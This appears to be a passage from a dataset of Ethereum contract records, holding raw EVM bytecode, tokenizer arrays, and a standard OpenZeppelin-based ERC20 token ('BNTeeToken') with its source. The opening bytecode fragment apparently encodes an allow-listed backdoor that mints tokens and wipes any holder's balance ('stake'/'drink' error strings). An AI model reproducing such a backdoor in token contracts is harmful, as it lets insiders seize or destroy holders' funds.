6815260200190815260200160002060006107b1610d0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c49092919063ffffffff16565b610d17565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006108cb61082f610d0f565b846108c68560016000610840610d0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128490919063ffffffff16565b610d17565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60066020528060005260406000206000915054906101000a900460ff1681565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fb5780601f106109d0576101008083540402835291602001916109fb565b820191906000526020600020905b8154815290600101906020018083116109de57829003601f168201915b5050505050905090565b6000610ac8610a12610d0f565b84610ac38560405180606001604052806025815260200161179d6025913960016000610a3c610d0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c49092919063ffffffff16565b610d17565b6001905092915050565b6000610ae6610adf610d0f565b8484610f0e565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610baf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f6572726f7200000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610bb9828261130c565b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f6572726f7200000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610d0c816114c7565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117796024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e46022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117546025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116c16023913960400191505060405180910390fd5b61108581604051806060016040528060268152602001611706602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c49092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611118816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611271576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561123657808201518184015260208101905061121b565b50505050905090810190601f1680156112635780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f45524332303a207374616b6520746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6113c48160025461128490919063ffffffff16565b60028190555061141b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6472696e6b20746f20746865207a65726f20616464726573730000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116068160025461167690919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006116b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c4565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158206e013b5b0380de8e9e12742841e21b7d7eaf6b9cc60d575a07ad65f493e8493764736f6c63430005100032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
23352,
2497,
2549,
2063,
2581,
9468,
24434,
2509,
2063,
17134,
2549,
2497,
21486,
2683,
2620,
2497,
21084,
2692,
22907,
2629,
19797,
21084,
2546,
2620,
8586,
2575,
2050,
1013,
1008,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1064,
1035,
1035,
1007,
1064,
1035,
1035,
1035,
1035,
1064,
1035,
1035,
1035,
1035,
1064,
1035,
1032,
1064,
1035,
1032,
1064,
1035,
1064,
1064,
1035,
1064,
1064,
1064,
1035,
1007,
1064,
1064,
1064,
1035,
1007,
1064,
1064,
1035,
1035,
1035,
1064,
1064,
1035,
1035,
1035,
1064,
1035,
1026,
1064,
1035,
1035,
1035,
1035,
1013,
1064,
1035,
1035,
1035,
1035,
1035,
1064,
1035,
1035,
1035,
1035,
1035,
1064,
1035,
1064,
1032,
1035,
1032,
2079,
2017,
2066,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,475 | 0x9537d07406ca6c35b846ffDb99ae0E85040e8F91 | pragma solidity ^0.6.2;
import '@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol';
contract BNTeeToken is ERC20Burnable {
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC20-constructor}.
*/
constructor(
address owner
) public ERC20("Bancor T-Shirt Token", "BNTEE") {
_setupDecimals(8);
uint256 initialSupply = 10000000000;
_mint(owner, initialSupply);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103bf578063a457c2d714610442578063a9059cbb146104a8578063dd62ed3e1461050e576100cf565b806342966c68146102eb57806370a082311461031957806379cc679014610371576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc610586565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610628565b604051808215151515815260200191505060405180910390f35b6101c5610646565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610650565b604051808215151515815260200191505060405180910390f35b610269610729565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610740565b604051808215151515815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b81019080803590602001909291905050506107f3565b005b61035b6004803603602081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610807565b6040518082815260200191505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084f565b005b6103c76108b1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610953565b604051808215151515815260200191505060405180910390f35b6104f4600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a20565b604051808215151515815260200191505060405180910390f35b6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3e565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b600061063c610635610ac5565b8484610acd565b6001905092915050565b6000600254905090565b600061065d848484610cc4565b61071e84610669610ac5565b610719856040518060600160405280602881526020016113a160289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106cf610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f859092919063ffffffff16565b610acd565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107e961074d610ac5565b846107e4856001600061075e610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610acd565b6001905092915050565b6108046107fe610ac5565b826110c7565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061088e826040518060600160405280602481526020016113c96024913961087f8661087a610ac5565b610a3e565b610f859092919063ffffffff16565b90506108a28361089c610ac5565b83610acd565b6108ac83836110c7565b505050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109495780601f1061091e57610100808354040283529160200191610949565b820191906000526020600020905b81548152906001019060200180831161092c57829003601f168201915b5050505050905090565b6000610a16610960610ac5565b84610a1185604051806060016040528060258152602001611457602591396001600061098a610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f859092919063f